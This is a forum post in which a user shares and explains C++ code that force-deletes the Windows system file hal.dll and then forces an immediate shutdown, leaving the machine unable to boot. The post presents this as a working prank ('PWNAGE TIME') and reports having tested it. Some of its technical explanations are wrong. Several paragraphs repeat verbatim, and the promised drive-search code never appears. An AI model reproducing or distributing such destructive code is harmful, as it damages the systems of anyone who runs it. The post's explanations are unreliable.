S
SVXX
Guest
kk guys,first things first,for all who think hal.dll doesn't get deleted,it does. I tested this code(without the shutdown part) after taking a backup copy of hal.dll on another place in my HDD. It got deleted in system32,and I put it back.
Second,the shutdown thingy aint appropriate Sid..it doesn't work =/ plus std::remove doesn't work either since scope resolution operator( :: ) is only used in classes. I used "system" in my code
So I fixed the code..here it is.
The "del" command is used in DOS to delete stuff. "-q" is a parameter which means force delete,or delete without asking.
shutdown -s -f -t 00 means shutdown,force close everything running,in 00 seconds time.
Also,COMPILE the code,DONT RUN IT. Sid's code's shutdown didn't work,so I was safe.... @_@ lol
Um btw...if Windows aint in C...how would this work? is there any search thingy for this? Suppose its in D:,is there a code for it to look in the drives then delete hal.dll?
*Edit*
Nevermind I found out. Look in code.
Second,the shutdown thingy aint appropriate Sid..it doesn't work =/ plus std::remove doesn't work either since scope resolution operator( :: ) is only used in classes. I used "system" in my code
So I fixed the code..here it is.
Code:
#include <cstdlib>
#include <iostream>
using namespace std;
int main(int argc, char *argv[])
{
system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME
system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
system("PAUSE");
return EXIT_SUCCESS;
}
The "del" command is used in DOS to delete stuff. "-q" is a parameter which means force delete,or delete without asking.
shutdown -s -f -t 00 means shutdown,force close everything running,in 00 seconds time.
Um btw...if Windows aint in C...how would this work? is there any search thingy for this? Suppose its in D:,is there a code for it to look in the drives then delete hal.dll?
*Edit*
Nevermind I found out. Look in code.












